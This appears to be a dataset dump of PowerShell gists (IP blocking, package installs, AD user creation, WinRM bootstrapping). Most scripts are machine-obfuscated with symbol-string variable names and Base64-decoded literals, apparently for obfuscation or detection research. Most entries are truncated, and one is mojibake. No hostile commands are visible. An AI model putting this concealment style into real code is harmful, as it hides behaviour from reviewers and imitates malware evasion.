full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/IseSteroids/GithubGist/stanleystl_5870540_raw_4fa5dc90e6b4c9d019ac651f588e1161788e86aa_block_ipaddr_failaudit.ps1
stanleystl_5870540_raw_4fa5dc90e6b4c9d019ac651f588e1161788e86aa_block_ipaddr_failaudit.ps1
${_________/=\_/=\/} = [DateTime]::Now.AddDays(-1) # check only last 24 hours ${__/\/=\_/=\___/==} = Get-EventLog -LogName 'Security' -InstanceId 4625 -After ${_________/=\_/=\/} | select @{n='IpAddress';e={$_.ReplacementStrings[-2]} } # select Ip addresses that has audit failure ${__/\/=\/=\/\/\___} = ${__/\/=\_/...
PowerShellCorpus/IseSteroids/GithubGist/jokcofbut_5019850_raw_6e99134e2e796ce38b212adcdc73c1d061347e52_UpdateToLatestLiveVersionOfAPackage_Solution.ps1
jokcofbut_5019850_raw_6e99134e2e796ce38b212adcdc73c1d061347e52_UpdateToLatestLiveVersionOfAPackage_Solution.ps1
Update-Package -Id MyPackage -Source $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQB5AFIAZQBwAG8A')))
PowerShellCorpus/IseSteroids/GithubGist/vgrem_fe0cda40b5ed0cd9070c_raw_7d4e3a721b1246ae295d17cb5c8b3755934ea106_Invoke-SPORestMethod.ps1
vgrem_fe0cda40b5ed0cd9070c_raw_7d4e3a721b1246ae295d17cb5c8b3755934ea106_Invoke-SPORestMethod.ps1
.\Get-SPOAccessToken.ps1 Function Invoke-SPORestMethod() { Param( [Uri]$Uri, [Object]$Body, [Hashtable]$Headers, [Microsoft.PowerShell.Commands.WebRequestMethod]$Method = [Microsoft.PowerShell.Commands.WebRequestMethod]::Get, [string]$AccessToken ) ${10010000010001000} = 'application/json;od...
PowerShellCorpus/IseSteroids/GithubGist/sukottosan_9747467_raw_25558c3fa8dc74b711fbacae955cb8771385ef9a_installedapps.ps1
sukottosan_9747467_raw_25558c3fa8dc74b711fbacae955cb8771385ef9a_installedapps.ps1
$InitialStartMode = Get-CimInstance -ClassName Win32_Service -Filter "Name = 'RemoteRegistry'" | select -ExpandProperty StartMode gsv RemoteRegistry | Set-Service -StartupType Manual | sasv $CurrentStartMode = Get-CimInstance -ClassName Win32_Service -Filter "Name = 'RemoteRegistry'" | select -ExpandProperty StartMod...
PowerShellCorpus/IseSteroids/GithubGist/victorvogelpoel_9328904_raw_a1fd899261cd0a5dc82b0e6c9e1c67607151fab4_Get-WSManCredSSPConfiguration.ps1
victorvogelpoel_9328904_raw_a1fd899261cd0a5dc82b0e6c9e1c67607151fab4_Get-WSManCredSSPConfiguration.ps1
# Get-WSManCredSSPConfiguration.ps1 # Compile a WSManCredSSP configuration object for the local or remote computer # Inspired by http://www.ravichaganti.com/blog/?p=1902 # http://blog.victorvogelpoel.nl/2014/03/03/powershell-get-wsmancredsspconfiguration-getting-credssp-configuration-for-local-or-remote-computers/ ...
PowerShellCorpus/IseSteroids/GithubGist/su324749_5030fd370ee79faca120_raw_a8177c1febd2ee021d18b089f9003697a1dff818_test.ps1
su324749_5030fd370ee79faca120_raw_a8177c1febd2ee021d18b089f9003697a1dff818_test.ps1
# % gal -def foreach-object # # CommandType Name Definition # ----------- ---- ---------- # Alias % ForEach-Object # Alias foreach ForEach-Object foreach (${101111...
PowerShellCorpus/IseSteroids/GithubGist/harrybiscuit_1877081_raw_dc408d1ad455804023e3c38d5284be725b318ea0_CreateJunction.ps1
harrybiscuit_1877081_raw_dc408d1ad455804023e3c38d5284be725b318ea0_CreateJunction.ps1
$junctionPath = ".\junction.exe" $toBeCreated = "c:\MyNewJunction"; if(!(Test-Path $junctionPath)){ Write-Host "Expected Junction.exe to be in the same folder as this script file. This file is required to create the new junction." Write-Host "Press any key to continue ..." $x = $host.UI.RawUI.Rea...
PowerShellCorpus/IseSteroids/GithubGist/jen20_11290410_raw_c3e177f0f8d48bfa3168785f068279ee9a6162b1_pin-vs.ps1
jen20_11290410_raw_c3e177f0f8d48bfa3168785f068279ee9a6162b1_pin-vs.ps1
${3} = new-object -com "Shell.Application" ${2} = ${3}.Namespace("C:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE") ${1} = ${2}.ParseName("devenv.exe") ${1}.InvokeVerb('taskbarpin')
PowerShellCorpus/IseSteroids/GithubGist/andreaswasita_ae980580fd42fa70c957_raw_08069d8e3dac1807d36d56b9aae41c2158417ccf_ClusterNetworkCloudServiceVIP.ps1
andreaswasita_ae980580fd42fa70c957_raw_08069d8e3dac1807d36d56b9aae41c2158417ccf_ClusterNetworkCloudServiceVIP.ps1
${1} = "Cluster Network 1" ${3} = "IP Address 10.0.1.0" ${2} = "23.100.xxx.xxx" ipmo FailoverClusters Get-ClusterResource ${3} | Set-ClusterParameter -Multiple @{"Address"="${2}";"ProbePort"="59999";SubnetMask="255.255.255.128";"Network"="${1}";"OverrideAddressMatch"=1;"EnableDhcp"=0} ${1} = "Cluster Network 2" ${...
PowerShellCorpus/IseSteroids/GithubGist/kmoormann_3361439_raw_a36bc173ced73a39271e414d583d984f242e85f1_ClearDir.ps1
kmoormann_3361439_raw_a36bc173ced73a39271e414d583d984f242e85f1_ClearDir.ps1
function Global:ClearDir([string] $PATH) { $AllItemsInPath = $Path + "*" Remove-Item $AllItemsInPath -recurse -force }
PowerShellCorpus/IseSteroids/GithubGist/jayotterbein_438ae58b5ab9f64399ea_raw_c35a8ff076d34979dbd312750f62298ccb61e7c8_sln.ps1
jayotterbein_438ae58b5ab9f64399ea_raw_c35a8ff076d34979dbd312750f62298ccb61e7c8_sln.ps1
Function sln { [string[]]${00111010111101000} = @(gci HKLM:\Software\Microsoft\VisualStudio\) |% { $_.Name } |% { Split-Path $_ -Leaf } ${00010100111100000} = @() foreach (${00100010000110010} in ${00111010111101000}) { [Version]${00001110111101101} = $([Text.Encoding]::Unicode.GetString([...
PowerShellCorpus/IseSteroids/GithubGist/Astn_6e1f27aae1fff631f441_raw_a121f23b429dc55c76c820325c6507caa256fcef_all-git-remove-config-for-nustache.ps1
Astn_6e1f27aae1fff631f441_raw_a121f23b429dc55c76c820325c6507caa256fcef_all-git-remove-config-for-nustache.ps1
## remove all *.Config where there is a *.nustache.config in the same directory ## for any given n ## f(n) = if exists n.nustache.config and exists n.config ## then remove n.config # for each Git Repo below the current directory ls -Directory | ? { (ls $_ -Directory -Hidden -Filter ".git")} | % { ...
PowerShellCorpus/IseSteroids/GithubGist/ranniery_1063498091a21b82e68c_raw_9d817a3d8486a7415a9768f08730dc8b7b2590f6_RepairWMI.ps1
ranniery_1063498091a21b82e68c_raw_9d817a3d8486a7415a9768f08730dc8b7b2590f6_RepairWMI.ps1
########################### # Ranniery Holanda # # email@ranniery.com.br # # @_ranniery # # 23/07/2014 # ########################### # RepairWMI.ps1 # ########################### # Parando e desativando o serviço do WMI # (Get-service Winmgmt).stop() S...
PowerShellCorpus/IseSteroids/GithubGist/ianbattersby_4546636_raw_8bef5088c2c412da77200411bcb73fa41a7f875c_gistfile1.ps1
ianbattersby_4546636_raw_8bef5088c2c412da77200411bcb73fa41a7f875c_gistfile1.ps1
${1} = Get-SCVMMServer -ComputerName $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQB5AC0AdgBtAG0ALQBoAG8AcwB0AA=='))) ${2} = Get-SCLibraryServer -ComputerName $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQB5AC0AdgBtAG0ALQBoAG8AcwB0AA=='))) Import-SCVirtualMachine -ImportV...
PowerShellCorpus/IseSteroids/GithubGist/WilbertOnGithub_2137097_raw_4a275fa81e678dfaee37c3550b31db61cfa72e71_postgitsvn.ps1
WilbertOnGithub_2137097_raw_4a275fa81e678dfaee37c3550b31db61cfa72e71_postgitsvn.ps1
# Script that cleans up an entire directory with Git repositories # that have been imported from Subversion using the 'git svn clone' # command. # It does the following: # - Recurses through all subdirectory in the directory you specify. # For each git repository in a subdirectory: # - Parses all tags from the r...
PowerShellCorpus/IseSteroids/GithubGist/johnallers_4548e4316deff13da00b_raw_373486fa70c13923c9d7f1d107b761359b7520f5_Use-Impersonation.ps1
johnallers_4548e4316deff13da00b_raw_373486fa70c13923c9d7f1d107b761359b7520f5_Use-Impersonation.ps1
param( [String] $domain, [String] $username, [String] $password, [ScriptBlock] $scriptBlock ) <# .SYNOPSIS Impersonates a user and executes a script block as that user. This is an interactive script and a window will open in order to securely capture credentials. .EXAMPLE ...
PowerShellCorpus/IseSteroids/GithubGist/mikeplate_69a270411f23a4f49298_raw_3b6225eb530b597463120780a52107756d357de2_list_net_versions.ps1
mikeplate_69a270411f23a4f49298_raw_3b6225eb530b597463120780a52107756d357de2_list_net_versions.ps1
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select PSChildName, Version
PowerShellCorpus/IseSteroids/GithubGist/mrdaemon_758948_raw_77e8522804f897f9d4a7dd31555309d5d45eb03d_hyperv-r2-configonly-import.ps1
mrdaemon_758948_raw_77e8522804f897f9d4a7dd31555309d5d45eb03d_hyperv-r2-configonly-import.ps1
function Import-HVConfigOnlyVM { [OutputType([System.Object])] [CmdletBinding( SupportsShouldProcess=$true, ConfirmImpact="Medium" )] Param ( [parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, HelpMessage="Enter path to exported...
PowerShellCorpus/IseSteroids/GithubGist/n-fukuju_8487498_raw_cdd93509bdb2130315b812b9b2d80e20001b69d2_getfoldersize.ps1
n-fukuju_8487498_raw_cdd93509bdb2130315b812b9b2d80e20001b69d2_getfoldersize.ps1
# [int] カレントパスのフォルダサイズ (ls -Recurse -Force | measure -Sum Length).Sum # [string, int][] カレントパス配下に存在する各フォルダのサイズ ls | select Name,@{name=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBpAHoAZQA=')));expression={(ls $_.FullName...
PowerShellCorpus/IseSteroids/GithubGist/brunomlopes_165857_raw_07fd19d556d2d4c6863e4ddf6e78b0cbe8a97f2d_archive_downloads.ps1
brunomlopes_165857_raw_07fd19d556d2d4c6863e4ddf6e78b0cbe8a97f2d_archive_downloads.ps1
${/=\/\/\/\/\_/\_/=} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwA6AFwAZABvAHcAbgBsAG8AYQBkAHMAXAA='))) ${_/\/==\_/\/=\_/\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwA6AFwAZABvAHcAbgBsAG8AYQBkAHMAXABhAHIAYwBoAGkAdgBlAA=='))) if(-not (Test-Path ${_/\/==\_/\/=\_/...
PowerShellCorpus/IseSteroids/GithubGist/pjmagee_5659973_raw_990df12fe852523ea6946a8754c5e7c961073df5_creationdate.ps1
pjmagee_5659973_raw_990df12fe852523ea6946a8754c5e7c961073df5_creationdate.ps1
# sets the folder creation date to the specified date variable # version 0.0.1 # author: Patrick Magee ####################### ${00100100100001010} = "" ${00101000000111011} = "" ${10110111001011010} = [datetime]::Today while (${00100100100001010} -notmatch "[y|n]") { ${00100100100001010} = Read-Host "Set c...
PowerShellCorpus/IseSteroids/GithubGist/t-mat_8771347_raw_7e40d33fd6b2d64c5278b64a995d0d80d598bc66_keyrate.ps1
t-mat_8771347_raw_7e40d33fd6b2d64c5278b64a995d0d80d598bc66_keyrate.ps1
Add-Type -Type $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LwAvACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAA0ACgBuAGEAbQBlAHMAcABhAGMAZQAgAE0AeQBQAHIAaQB2AGEAdABlAEsAZQB5AFIAYQB0AGUAUwBlA...
PowerShellCorpus/IseSteroids/GithubGist/PaulStovell_10638996_raw_9ab5354b328dfef4675556455a89fd5cac012a99_gistfile1.ps1
PaulStovell_10638996_raw_9ab5354b328dfef4675556455a89fd5cac012a99_gistfile1.ps1
Import-Module WebAdministration ${10000011110000010} = Get-WebAppPoolState $appPoolName if (${10000011110000010}.Value -eq "Stopped") { Write-Host "Service is already stopped" } else { Stop-WebAppPool $appPoolName Write-Host "Application pool is stopped" }
PowerShellCorpus/IseSteroids/GithubGist/sunnyc7_8617483_raw_7f3c5bdaeece1c8ea54173af13f256414dd3a2cb_Sort-WSDL.ps1
sunnyc7_8617483_raw_7f3c5bdaeece1c8ea54173af13f256414dd3a2cb_Sort-WSDL.ps1
[CmdletBinding()] param ( [Parameter(Mandatory)] [string] $Path ) function Sort-NodeArray { param ( [System.Xml.XmlNode[]] $SortedNodes ) foreach ($Node in $SortedNodes) { $Node.ParentNode.AppendChild($Node.ParentNode.RemoveChild($Node)) | Out-Null } }...
PowerShellCorpus/IseSteroids/GithubGist/pkskelly_097bb3e6aa3cafe4cb08_raw_4f811f84c6269bb64ec4fd515892f44042c9c975_Add-SPListItemsFromCSV.ps1
pkskelly_097bb3e6aa3cafe4cb08_raw_4f811f84c6269bb64ec4fd515892f44042c9c975_Add-SPListItemsFromCSV.ps1
param( [string] $siteUrl, [string] $userId, [string] $listName, [string] $csvName ) Add-Type -Path $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEMAbwBtAG0AbwBuACAARgBpAGwAZQBz...
PowerShellCorpus/IseSteroids/GithubGist/rucka_4391732_raw_a058b5aced8d263315bd4c015efd22908fcd64c2_build-2012-ppt-download.ps1
rucka_4391732_raw_a058b5aced8d263315bd4c015efd22908fcd64c2_build-2012-ppt-download.ps1
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath foreach ($day in 2..4){ foreach ($number in 000..200 ) { $url = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwB2AGkAZABlAG8ALgBjAGgAOQAuAG0AcwAvAHMAZQBzAHMAaQBvAG4AcwAvAGIAdQBpAGwAZA...
PowerShellCorpus/IseSteroids/GithubGist/nblumhardt_9884287_raw_0062236de71da5158f0953d24940b4c3b250c981_Octopus.Features.IISWebSite_BeforePostDeploy.ps1
nblumhardt_9884287_raw_0062236de71da5158f0953d24940b4c3b250c981_Octopus.Features.IISWebSite_BeforePostDeploy.ps1
## -------------------------------------------------------------------------------------- ## Configuration ## -------------------------------------------------------------------------------------- $ConfirmPreference = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AZQA='))) ${34} = $Oc...
PowerShellCorpus/IseSteroids/GithubGist/coza73_c9f56bfe8b05cd17ac88_raw_3895d14a742570afd704da7bf7d44f11becaf969_vSphere_SysLogCollector_Shortcut.ps1
coza73_c9f56bfe8b05cd17ac88_raw_3895d14a742570afd704da7bf7d44f11becaf969_vSphere_SysLogCollector_Shortcut.ps1
######################################################################################################## # # Powershell Script for vSphere Syslog Collector # # Uses IP address from directories c...
PowerShellCorpus/IseSteroids/GithubGist/alienone_a42644cee90c244296d2_raw_90a1b4851394ea17d64059de72102bc7ad25cd57_connector_inventory.ps1
alienone_a42644cee90c244296d2_raw_90a1b4851394ea17d64059de72102bc7ad25cd57_connector_inventory.ps1
$LOGPATH = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAG4AaQBjAHMAcgB2ADEAMABcAG4AZQB0AHcAbwByAGsAXABJAG4AZgBvAFMAZQBjAFwAUwBJAE0AXABTAEMAQwBNACAAQwB1AHMAdABvAG0AIABDAG8AZABlACAAZgBvAHIAIABBAGcAZQBuAHQAcwBcAA=='))) $PROCESSCSV = $LOGPATH + $([Text.Encoding]::Unicode.GetString([Convert]::From...
PowerShellCorpus/IseSteroids/GithubGist/rkeithhill_46b9c22407d067af8534_raw_17427eb4cbab23a64c82ca13a2044488dd263f2f_Go.ps1
rkeithhill_46b9c22407d067af8534_raw_17427eb4cbab23a64c82ca13a2044488dd263f2f_Go.ps1
<# .SYNOPSIS The go function allows you to prepopulate a list of common destinations accessed by a short key. .DESCRIPTION The go function allows you to prepopulate a list of common destinations accessed by a short key such as 'h' for your home directory. .PARAMETER Key Specifies the short name f...
PowerShellCorpus/IseSteroids/GithubGist/janikvonrotz_6247871_raw_3aa26fe8d437566e113e69cf1af6bce628ba9642_New-ADUsers.ps1
janikvonrotz_6247871_raw_3aa26fe8d437566e113e69cf1af6bce628ba9642_New-ADUsers.ps1
<# $Metadata = @{ Title = "Create new ActiveDirectory users" Filename = "New-ADUsers.ps1" Description = "" Tags = "powershell, activedirectory, user" Project = "" Author = "Janik von Rotz" AuthorContact = "http://janikvonrotz.ch" CreateDate = "2013-08-16" LastEditDate = "20...
PowerShellCorpus/IseSteroids/GithubGist/andyb5051_0380694726d6ade84809_raw_9f2002d73a93f2d7a4ac19f03b178269ea077c91_Boxstarter-Script.ps1
andyb5051_0380694726d6ade84809_raw_9f2002d73a93f2d7a4ac19f03b178269ea077c91_Boxstarter-Script.ps1
# http://boxstarter.org/package/url? # It's nice to be able to browse NuGet files if necessary cinstm NugetPackageExplorer # If we're doing web development, we need a few browsers cinstm google-chrome-x64 cinstm Firefox # Don't quite know why this is important, but I'll install silverlight...
PowerShellCorpus/IseSteroids/GithubGist/talatham_5774395_raw_73fb8a83e1281d9b2dfcbcd2c6e798240b94d09e_checkmachineforhotfix.ps1
talatham_5774395_raw_73fb8a83e1281d9b2dfcbcd2c6e798240b94d09e_checkmachineforhotfix.ps1
Function Get-FileName(${_10001111010011101}) { [void][System.Reflection.Assembly]::LoadWithPartialName("System.windows.forms") ${00011101101000100} = New-Object System.Windows.Forms.OpenFileDialog ${00011101101000100}.initialDirectory = ${_10001111010011101} ${00011101101000100}....
PowerShellCorpus/IseSteroids/GithubGist/AmrEldib_de4e018fe11a98b42a18_raw_3cf900d1d2e9fabb5d88d8271a87021401fb0c85_Get-SqlServiceStatus.ps1
AmrEldib_de4e018fe11a98b42a18_raw_3cf900d1d2e9fabb5d88d8271a87021401fb0c85_Get-SqlServiceStatus.ps1
function Get-SqlServiceStatus ($serviceName) { # Get a reference to the service $sqlService = gsv $serviceName # Return the service status return $sqlService.status }
PowerShellCorpus/IseSteroids/GithubGist/kujotx_6902269_raw_c1aa9c9cb616c6981e41b33c44d40da0c2628733_Chocolatey-Vs2010-Devbox.ps1
kujotx_6902269_raw_c1aa9c9cb616c6981e41b33c44d40da0c2628733_Chocolatey-Vs2010-Devbox.ps1
choco windowsfeatures MSMQ-Container choco windowsfeatures MSMQ-Server choco install Firefox choco install Google.Chrome choco install webpicommandline choco webpi msdeploy choco webpi iisexpress choco install TeraCopy choco install windbg choco install windowstelnet choco install wireshark choco insta...
PowerShellCorpus/IseSteroids/GithubGist/mhornfeck_ca67016a3ce77c429a0a_raw_fab811d7ce1a92fa104b7e3c58a129434aca98e6_gistfile1.ps1
mhornfeck_ca67016a3ce77c429a0a_raw_fab811d7ce1a92fa104b7e3c58a129434aca98e6_gistfile1.ps1
Set-WindowsExplorerOptions -EnableShowHiddenFilesFoldersDrives -EnableShowProtectedOSFiles -EnableShowFileExtensions Enable-RemoteDesktop cinst Microsoft-Hyper-V-All -source windowsFeatures cinst IIS-WebServerRole -source windowsfeatures # Browsers cinstm GoogleChrome cinstm Firefox # Runtimes cinstm Silverligh...
PowerShellCorpus/IseSteroids/GithubGist/guitarrapc_3d1af4a26d023bb5c005_raw_6c1cbc31034902f1b23e63ce6fd773595f0f59dc_StringEvaluationItem.ps1
guitarrapc_3d1af4a26d023bb5c005_raw_6c1cbc31034902f1b23e63ce6fd773595f0f59dc_StringEvaluationItem.ps1
鬠ソ# テ、ツセ窶ケ ${2} = @{hoge = "hoge"} ${1} = "fuga"
PowerShellCorpus/IseSteroids/GithubGist/mwrock_5130865_raw_a81f0f70648db3e9da1683dffa48a030c56f6152_gistfile1.ps1
mwrock_5130865_raw_a81f0f70648db3e9da1683dffa48a030c56f6152_gistfile1.ps1
#Get Boxstarter on RemotePC CINST Boxstarter.Chocolatey ipmo Boxstarter.Chocolatey #Create minimal nuspec and chocolateyInstall New-BoxstarterPackage MyPackage #Edit Install script Notepad Join-Path $Boxstarter.LocalRepo $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABvAG8AbABzAFwAQwBoAG8AYwB...
PowerShellCorpus/IseSteroids/GithubGist/JeremySkinner_411950_raw_bb103fe04fe3fe257a900d178070cdcee0b1fb47_Profile.ps1
JeremySkinner_411950_raw_bb103fe04fe3fe257a900d178070cdcee0b1fb47_Profile.ps1
Import-Module $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABhAHQAaABcAFQAbwBcAHAAbwBzAGgALQBoAGcA'))) $global:HgPromptSettings.BeforeText = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IABvAG4AIAA='))) $global:HgPromptSettings.BeforeForegroundColor = [ConsoleColor]::White...
PowerShellCorpus/IseSteroids/GithubGist/BlueManiac_8e989e6defee486ec560_raw_764371d700c32164843f3cb7d88c809e737d7aec_Restore%20database%20backup%20to%20localdb.ps1
BlueManiac_8e989e6defee486ec560_raw_764371d700c32164843f3cb7d88c809e737d7aec_Restore%20database%20backup%20to%20localdb.ps1
${00101010100100100} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgAuAC4A'))) ${10110001100100000} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgAuAC4A'))) ${00001011010101001} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgAuAC4A'))) ${0111100...
PowerShellCorpus/IseSteroids/GithubGist/rberrelleza_5870412_raw_25c3965e00ee9a09e0fe6e257ae6fef0655e4e7f_add-users.ps1
rberrelleza_5870412_raw_25c3965e00ee9a09e0fe6e257ae6fef0655e4e7f_add-users.ps1
${01100000111101111} = (get-addomain).distinguishedname ${01101101010111110} = "OU=Engineering,${01100000111101111}" ${10011111010010101} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eQBvAHUAcgBkAG8AbQBhAGkAbgAuAGMAbwBtAA=='))) ${01111000101100111} = 0 Get-Content .\names.csv.txt | ForEach { ...
PowerShellCorpus/IseSteroids/GithubGist/tkmtmkt_2326853_raw_322be0e5fc52c9d4fc332129e7eabc44137a1131_gistfile1.ps1
tkmtmkt_2326853_raw_322be0e5fc52c9d4fc332129e7eabc44137a1131_gistfile1.ps1
Get-Credential | %{ ${/=======\__/=====} = $_.UserName ${___/\/==\__/==\_/} = ConvertFrom-SecureString $_.Password $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('PAAjAA0ACgAuAFMAWQBOAE8AUABTAEkAUwANAAoAYwBvAG0AbQBhAG4AZAAgAHcAaQB0AGgAIABjAHIAZQBkAGU...
PowerShellCorpus/IseSteroids/GithubGist/schlarpc_02cf9a2543f7f1df596b_raw_753b584b0b7b333b9e7191577c72c07a7d6ee846_Microsoft.PowerShell_profile.ps1
schlarpc_02cf9a2543f7f1df596b_raw_753b584b0b7b333b9e7191577c72c07a7d6ee846_Microsoft.PowerShell_profile.ps1
(Get-Host).UI.RawUI.WindowTitle = "Windows PowerShell" function f1 ([string]$loc) { return $loc.Replace($env:homedrive + $env:homepath, "~") } function prompt { Write-Host "$env:username@$env:computername" -NoNewLine -ForegroundColor Green Write-Host ":" -NoNewLine Write-Host "$(f1($(Get-Loca...
PowerShellCorpus/IseSteroids/GithubGist/Haemoglobin_2205505_raw_dfe1a6ac784f41a848bed2a3f94935e4bba35875_add-source-headers.ps1
Haemoglobin_2205505_raw_dfe1a6ac784f41a848bed2a3f94935e4bba35875_add-source-headers.ps1
param( [Parameter(Mandatory = $true)] [string] $sourceRoot, [Parameter(Mandatory = $true)] [string] $versionNumber ) function CorrectPathBackslash { param([string] $path) if (![String]::IsNullOrEmpty($path)) { if (!$path.EndsWith("\")) { $path += "\" } } return $path...
PowerShellCorpus/IseSteroids/GithubGist/zippy1981_1586729_raw_7e46e3e35428757ce9a9a88bbdd42662ea6e3f85_integerDivision.test.ps1
zippy1981_1586729_raw_7e46e3e35428757ce9a9a88bbdd42662ea6e3f85_integerDivision.test.ps1
<# In which I prove that that the terser [int][Math]::Floor($a/$b) gives the same results as the technet recommended [Math]::Floor([int]$a / [int]$b) Said technet recomendation is available at: http://technet.microsoft.com/en-us/library/ee176879.aspx One extra cast is probably slower too. #> 1.. 1000 | % { ...
PowerShellCorpus/IseSteroids/GithubGist/Elindalyne_1878488_raw_240aa6a875ecd145dd0dd7e7ba7a6376b1091a44_Bootstrap-EC2-Windows-CloudInit.ps1
Elindalyne_1878488_raw_240aa6a875ecd145dd0dd7e7ba7a6376b1091a44_Bootstrap-EC2-Windows-CloudInit.ps1
# Windows AMIs don't have WinRM enabled by default -- this script will enable WinRM # AND install the CloudInit.NET service, 7-zip, curl and .NET 4 if its missing. # Then use the EC2 tools to create a new AMI from the result, and you have a system # that will execute user-data as a PowerShell script after the insta...
PowerShellCorpus/IseSteroids/GithubGist/mwjcomputing_4717642_raw_a936466520dda8f7cf58b515c4a42ddba453cf20_Get-DaysUntilBSidesDetroit.ps1
mwjcomputing_4717642_raw_a936466520dda8f7cf58b515c4a42ddba453cf20_Get-DaysUntilBSidesDetroit.ps1
function Get-DaysUntilBSidesDetroit { Write-Host "There are $((New-Timespan -end $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('NgAvADcALwAyADAAMQAzACAAOQA6ADAAMAA6ADAAMABBAE0A')))).Days) days until BSidesDetroit." }
PowerShellCorpus/IseSteroids/GithubGist/NotMyself_e310fc01b941491fcd89_raw_e3fefeda5ef3b32064555a1e696c35b8ecb71272_gistfile1.ps1
NotMyself_e310fc01b941491fcd89_raw_e3fefeda5ef3b32064555a1e696c35b8ecb71272_gistfile1.ps1
task Run-Site -depends Clean, MsBuild-Release { ${00010101110001010} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzAFwASQBJAFMAIABFAHgAcAByAGUAcwBzAFwAaQBpAHMAZQB4AHAAcgBlAHMAcwAuAGUAeABlAA=='))) start...
PowerShellCorpus/IseSteroids/GithubGist/biacz_f4ec5140d75d708d413d_raw_5f0de8b55a6d94df24ebd2f429880bae6e8ca280_gistfile1.ps1
biacz_f4ec5140d75d708d413d_raw_5f0de8b55a6d94df24ebd2f429880bae6e8ca280_gistfile1.ps1
${00111010011110110} = "7" $ErrorActionPreference = "Stop" ${01010100100000111} = @() ${00001000111000001} = Get-Credential ${01011011011111110} = @" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"> <html><head><title>My Systems Report</title> ...
PowerShellCorpus/IseSteroids/GithubGist/colinbowern_5937673_raw_828317b19e3d5f3e7bc26936e973e6026e47367c_Import-SQLPS.ps1
colinbowern_5937673_raw_828317b19e3d5f3e7bc26936e973e6026e47367c_Import-SQLPS.ps1
$CurrentFolder = $(Get-Location).Path Import-Module SQLPS -DisableNameChecking Set-Location $CurrentFolder
PowerShellCorpus/IseSteroids/GithubGist/tkinz27_fd92ba9af0e0309614ee_raw_a7f4617532509ea872a261ad1b95d3ffe25151c4_copy.ps1
tkinz27_fd92ba9af0e0309614ee_raw_a7f4617532509ea872a261ad1b95d3ffe25151c4_copy.ps1
#!powershell # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distribu...
PowerShellCorpus/IseSteroids/GithubGist/roberto-reale_712c70d55f3dc9d49335_raw_d70cd32997d51113c11fcddffb7a0e48fba8fc1a_rename_files_iso8601_with_progressive_id.ps1
roberto-reale_712c70d55f3dc9d49335_raw_d70cd32997d51113c11fcddffb7a0e48fba8fc1a_rename_files_iso8601_with_progressive_id.ps1
$id = 0; ls -name |% { $old_filename = $_; $trailing = $($old_filename.Substring(0, 10)); $leading = $_.Substring(11); $new_filename = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAwAH0AXwB7ADEAOgAwADAAMAAwAH0AXwB7ADIAfQA='))) -f $trailing, $id, $leading move $old_filename $new_...
PowerShellCorpus/IseSteroids/GithubGist/JonasGroeger_301db5e64afdcd90e71e_raw_e084376972e4e0bcdc030e9cacec50e85592832a_Clean-Temporary-Files.ps1
JonasGroeger_301db5e64afdcd90e71e_raw_e084376972e4e0bcdc030e9cacec50e85592832a_Clean-Temporary-Files.ps1
Param( [String] $Folder = $PSScriptRoot ) ${10010111100110111} = @( $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KgAuAGEAdQB4AA=='))), $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KgAuAGIAYgBsAA=='))), $([Text.Encoding]::Unicode.GetStr...
PowerShellCorpus/IseSteroids/GithubGist/sunnyc7_8694149_raw_420e8f279baee62bb9042eb61ead0e9bb3d72fe3_Invoke-CommandAST.ps1
sunnyc7_8694149_raw_420e8f279baee62bb9042eb61ead0e9bb3d72fe3_Invoke-CommandAST.ps1
function Invoke-Command { [CmdletBinding(DefaultParameterSetName='InProcess', HelpUri='http://go.microsoft.com/fwlink/?LinkID=135225', RemotingCapability='OwnedByCommand')] param( [Parameter(ParameterSetName='FilePathRunspace', Position=0)] [Parameter(ParameterSetName='Session', Position=...
